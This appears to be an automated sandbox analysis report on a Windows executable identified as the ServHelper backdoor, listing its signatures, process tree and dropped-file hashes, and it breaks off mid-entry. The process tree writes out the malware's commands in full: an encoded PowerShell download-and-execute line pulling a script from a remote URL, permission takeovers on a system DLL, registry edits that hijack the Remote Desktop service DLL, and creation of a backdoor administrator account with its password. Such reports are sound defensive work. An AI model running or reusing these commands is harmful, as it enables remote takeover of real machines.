Analysis

  • max time kernel
    126s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    20-08-2021 20:46

General

  • Target

    3cb66d271255d59945381fdc6fab9b91.exe

  • Size

    5.9MB

  • MD5

    3cb66d271255d59945381fdc6fab9b91

  • SHA1

    cba5bc5d238ffa84cadb81d8ac65c81c289ec74a

  • SHA256

    5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa

  • SHA512

    770a6f375c8ba6c3c4a7da63652b58ccac9a3a0c005cf1cfc8db21447ae247bcc705c8f20da683ca89e1f0102604e23310be76c4c5daf358f81d2b36008c9a75

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe
    "C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:756
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD105.tmp" "c:\Users\Admin\AppData\Local\Temp\vfy2egtm\CSC550B9BFA4C394D628F9BEA5F8459D77A.TMP"
          4⤵
            PID:792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1720
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1468
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2016
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1932
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:396
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1896
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:872
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:956
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2036
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1524
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1164
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1716
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:632
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1140
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:640
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1720
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1284
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:2044
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1588
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1108
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:536
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1932
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:756
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:292
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc DyYtFW3u /add
                                  1⤵
                                    PID:2040
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc DyYtFW3u /add
                                      2⤵
                                        PID:1552
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u /add
                                          3⤵
                                            PID:692
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1524
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:280
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:632
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1312
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1104
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1660
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:432
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:2036
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1348
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc DyYtFW3u
                                                          1⤵
                                                            PID:584
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc DyYtFW3u
                                                              2⤵
                                                                PID:1140
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u
                                                                  3⤵
                                                                    PID:752
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1060
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1312
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:928
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:536
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1716
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1980
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:872

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1d288f2b-d4b7-4d9a-8b50-a3bc9f3b6153

                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_86823cc6-11aa-4d42-aa39-1ca9067fe7dc

                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2901e33-d95a-4be1-8dcf-0d283e801981

                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c15818dd-cf7a-4847-9043-5ceb4e03b651

                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c92ddd8c-937e-4c28-b1a9-5acc5b0003fd

                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d52a4227-d0bb-4c8f-9bd5-7be4aa976363

                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dfdeea3b-9c3b-43b6-be6f-c48a330701bc

                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        d017b34d9a115277e04ae16b2e653dc5

                                                                        SHA1

                                                                        6e7919459b94158c6fe19322b1d42fc1333da07a

                                                                        SHA256

                                                                        c402e4ef4a97b71f769fb909b95f21a9b9067898b695d06636d992f0c9223757

                                                                        SHA512

                                                                        64e58ca3ddf124a5e88bdc22a575717618e8cd131b89e55a097c648171c06898a0604cb4b4d90030dba0c7ae7e839e59e702ae5f7e419ba31046c18602140483

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        d77fd3d7bcf8b69778cbc48b55426a79

                                                                        SHA1

                                                                        fcb0eff75209e25ef1582c2034ee479ee7767d60

                                                                        SHA256

                                                                        5582fec3d41041493f05c88c57440526e1ac6bdc8edebdfaccc36bed06d52124

                                                                        SHA512

                                                                        e337ac85b8a4d6bbb52c632adc291754d9ea6e0243c5be5fd9c28bc3778c7ae57b76128d03e955e76d8bfde0c602ff3b1b2243a4a631774c36d2ac1641cae2fa

                                                                      • C:\Users\Admin\AppData\Local\Temp\RESD105.tmp

                                                                        MD5

                                                                        02c6c31082c56dba94316f6882d94742

                                                                        SHA1

                                                                        e04898a1e238d4f62281a9308851e6d938d54877

                                                                        SHA256

                                                                        3ef6f53de7c16eb105a0759bacc4c56e0af32eb4bac930b77a1301af02c9a52e

                                                                        SHA512

                                                                        8d1abee6f8e37e5e1f3b68a050ce78a75afd75046104e0373d760db4df5adbd7bb25338ede230ee51cdcab9a97c688bb38eccb84dddb9777520583a8813af846

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        3447df88de7128bdc34942334b2fab98

                                                                        SHA1

                                                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                        SHA256

                                                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                        SHA512

                                                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                        MD5

                                                                        b898b51a4248bca6b7845652bdc104c4

                                                                        SHA1

                                                                        7f8b2d9b32ac9cff983a7f9f88daf741db5bfb27

                                                                        SHA256

                                                                        156c6af2b92ae424573f6965b20b666ba26a9863e96aa2a799c32e386e9eb037

                                                                        SHA512

                                                                        119b7eefa328e50325511090fbcb5ea1b41b74be6e11fd6e87339eea6f2a454715afa21920bd91e176019e19f0a8899406f52edbc6099eed394d466b85870031

                                                                      • C:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.dll

                                                                        MD5

                                                                        2013289e4b7c66011115b20d21b295d5

                                                                        SHA1

                                                                        f81713bf501a077700f11d83ee81d65c78736f4a

                                                                        SHA256

                                                                        263177d407feb70c728a874322efe3b27355783ad04b614cd779ad346d8e1dae

                                                                        SHA512

                                                                        20237e6affd39741ed74bd3a2aaa5ae0bbe76b9a1cb6435dd08ed9aaf288528a07e8518769d54343440b3339f0f87ab5c09a74780625b8ef053e4e0e8599adc4

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        be581c7bc33e38d29a7a5d0abd5d5672

                                                                        SHA1

                                                                        d3040a0ca8cdf82ce1d4638170577800bfcac00b

                                                                        SHA256

                                                                        d6ec98ff41a10736fc1661f68dcddc1162bcdc9dd576c6b267ccf199be8a2610

                                                                        SHA512

                                                                        51e7bd95ffd31d98a2eab97037fa267a71ad9d2552884f263b1fae247484257bd5099ae24644e9a28b212c2173f1242edb82f42a0b3339eb5706dfa4e1e2f282

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        be581c7bc33e38d29a7a5d0abd5d5672

                                                                        SHA1

                                                                        d3040a0ca8cdf82ce1d4638170577800bfcac00b

                                                                        SHA256

                                                                        d6ec98ff41a10736fc1661f68dcddc1162bcdc9dd576c6b267ccf199be8a2610

                                                                        SHA512

                                                                        51e7bd95ffd31d98a2eab97037fa267a71ad9d2552884f263b1fae247484257bd5099ae24644e9a28b212c2173f1242edb82f42a0b3339eb5706dfa4e1e2f282

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        be581c7bc33e38d29a7a5d0abd5d5672

                                                                        SHA1

                                                                        d3040a0ca8cdf82ce1d4638170577800bfcac00b

                                                                        SHA256

                                                                        d6ec98ff41a10736fc1661f68dcddc1162bcdc9dd576c6b267ccf199be8a2610

                                                                        SHA512

                                                                        51e7bd95ffd31d98a2eab97037fa267a71ad9d2552884f263b1fae247484257bd5099ae24644e9a28b212c2173f1242edb82f42a0b3339eb5706dfa4e1e2f282

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\vfy2egtm\CSC550B9BFA4C394D628F9BEA5F8459D77A.TMP

                                                                        MD5

                                                                        7c037a96382f635a2ca073d9f0919366

                                                                        SHA1

                                                                        f0b96be1e8aced03b44b319f0203c5025d49e9e3

                                                                        SHA256

                                                                        31e3bff79e221a0e19bc11d8a6a9c182e9cbd06cc1b545ac2297e08bb35c02bc

                                                                        SHA512

                                                                        6e76264b968d6fb6b7bb06a5cc4c800c6b5335c636c6bf69d4482ce40a9673687af9906ed15abe41041554e403aaf6b6a59088e63e150a2a764428089806968e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.0.cs

                                                                        MD5

                                                                        4864fc038c0b4d61f508d402317c6e9a

                                                                        SHA1

                                                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                        SHA256

                                                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                        SHA512

                                                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.cmdline

                                                                        MD5

                                                                        c9a4a256ece0282e66605a47fdb77811

                                                                        SHA1

                                                                        b9f12114592df8276fe3049a1739c189c36029a6

                                                                        SHA256

                                                                        27ee8d573d3bc17c27adc1971cd4fc47e736a064fd4787a0c2cf85fe35139ce6

                                                                        SHA512

                                                                        2065c72b05adf0e784c7b59bdcaf90a4515f637120a717ea52f722d629d8726438ed2d57bb811b3aa17d443e7ccbab69670948fefe69d2b2f5fb9decda2270be

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

